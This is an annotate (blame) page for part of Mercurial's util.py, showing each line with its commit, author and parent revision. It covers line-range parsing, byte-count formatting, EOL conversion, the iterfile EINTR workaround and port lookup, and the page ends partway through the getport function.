util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2750 |
|
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2751 |
return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2752 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2753 |
|
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2754 |
def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2755 |
"""Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2756 |
0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2757 |
|
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2758 |
>>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2759 |
(9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2760 |
>>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2761 |
Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2762 |
... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2763 |
ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2764 |
>>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2765 |
Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2766 |
... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2767 |
ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2768 |
""" |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2769 |
if toline - fromline < 0: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2770 |
raise error.ParseError(_(b"line range must be positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2771 |
if fromline < 1: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2772 |
raise error.ParseError(_(b"fromline must be strictly positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2773 |
return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2774 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2775 |
|
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2776 |
bytecount = unitcountfn( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2777 |
(100, 1 << 30, _(b'%.0f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2778 |
(10, 1 << 30, _(b'%.1f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2779 |
(1, 1 << 30, _(b'%.2f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2780 |
(100, 1 << 20, _(b'%.0f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2781 |
(10, 1 << 20, _(b'%.1f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2782 |
(1, 1 << 20, _(b'%.2f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2783 |
(100, 1 << 10, _(b'%.0f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2784 |
(10, 1 << 10, _(b'%.1f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2785 |
(1, 1 << 10, _(b'%.2f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2786 |
(1, 1, _(b'%.0f bytes')), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2787 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2788 |
|
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2789 |
|
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2790 |
class transformingwriter(object): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2791 |
"""Writable file wrapper to transform data by function""" |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2792 |
|
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2793 |
def __init__(self, fp, encode): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2794 |
self._fp = fp |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2795 |
self._encode = encode |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2796 |
|
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2797 |
def close(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2798 |
self._fp.close() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2799 |
|
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2800 |
def flush(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2801 |
self._fp.flush() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2802 |
|
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2803 |
def write(self, data): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2804 |
return self._fp.write(self._encode(data)) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2805 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2806 |
|
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2807 |
# Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2808 |
# are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2809 |
# stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2810 |
_eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2811 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2812 |
|
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2813 |
def tolf(s): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2814 |
return _eolre.sub(b'\n', s) |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2815 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2816 |
|
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2817 |
def tocrlf(s): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2818 |
return _eolre.sub(b'\r\n', s) |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2819 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2820 |
|
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2821 |
def _crlfwriter(fp): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2822 |
return transformingwriter(fp, tocrlf) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2823 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2824 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2825 |
if pycompat.oslinesep == b'\r\n': |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2826 |
tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2827 |
fromnativeeol = tolf |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2828 |
nativeeolwriter = _crlfwriter |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2829 |
else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2830 |
tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2831 |
fromnativeeol = pycompat.identity |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2832 |
nativeeolwriter = pycompat.identity |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2833 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2834 |
if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2835 |
3, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2836 |
0, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2837 |
): |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2838 |
# There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2839 |
# correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2840 |
# are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2841 |
# |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2842 |
# | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2843 |
# -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2844 |
# fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2845 |
# fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2846 |
# |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2847 |
# [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2848 |
# |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2849 |
# Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
44868
3aed7d262bdf
cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
2850 |
# like "read*" work fine, as we do not support Python < 2.7.4. |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2851 |
# |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2852 |
# Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2853 |
# "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2854 |
# CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2855 |
# fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2856 |
# |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2857 |
# On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2858 |
# when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2859 |
# affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2860 |
# files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2861 |
# to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2862 |
|
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2863 |
def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2864 |
fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2865 |
if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2866 |
fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2867 |
if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2868 |
return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2869 |
else: |
44868
3aed7d262bdf
cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
2870 |
# fp.readline deals with EINTR correctly, use it as a workaround. |
3aed7d262bdf
cleanup: remove compatibility code for Python < 2.7.4
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
2871 |
return iter(fp.readline, b'') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2872 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2873 |
|
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2874 |
else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2875 |
# PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2876 |
def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2877 |
return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2878 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2879 |
|
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2880 |
def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2881 |
for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2882 |
for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2883 |
yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2884 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2885 |
|
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2886 |
def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2887 |
return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2888 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2889 |
|
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2890 |
def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2891 |
"""Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2892 |
|
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2893 |
prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2894 |
a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2895 |
a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2896 |
|
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2897 |
fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2898 |
just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2899 |
|
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2900 |
escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2901 |
its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2902 |
""" |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2903 |
fn = fn or (lambda s: s) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2904 |
patterns = b'|'.join(mapping.keys()) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2905 |
if escape_prefix: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2906 |
patterns += b'|' + prefix |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2907 |
if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2908 |
prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2909 |
else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2910 |
prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2911 |
mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2912 |
r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2913 |
return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2914 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2915 |
|
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2916 |
def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2917 |
"""Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2918 |
|
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2919 |
If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2920 |
looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2921 |
service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2922 |
""" |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2923 |
try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2924 |
return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2925 |
except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2926 |
pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2927 |
|
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2928 |
try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2929 |
return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2930 |
except socket.error: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2931 |
raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
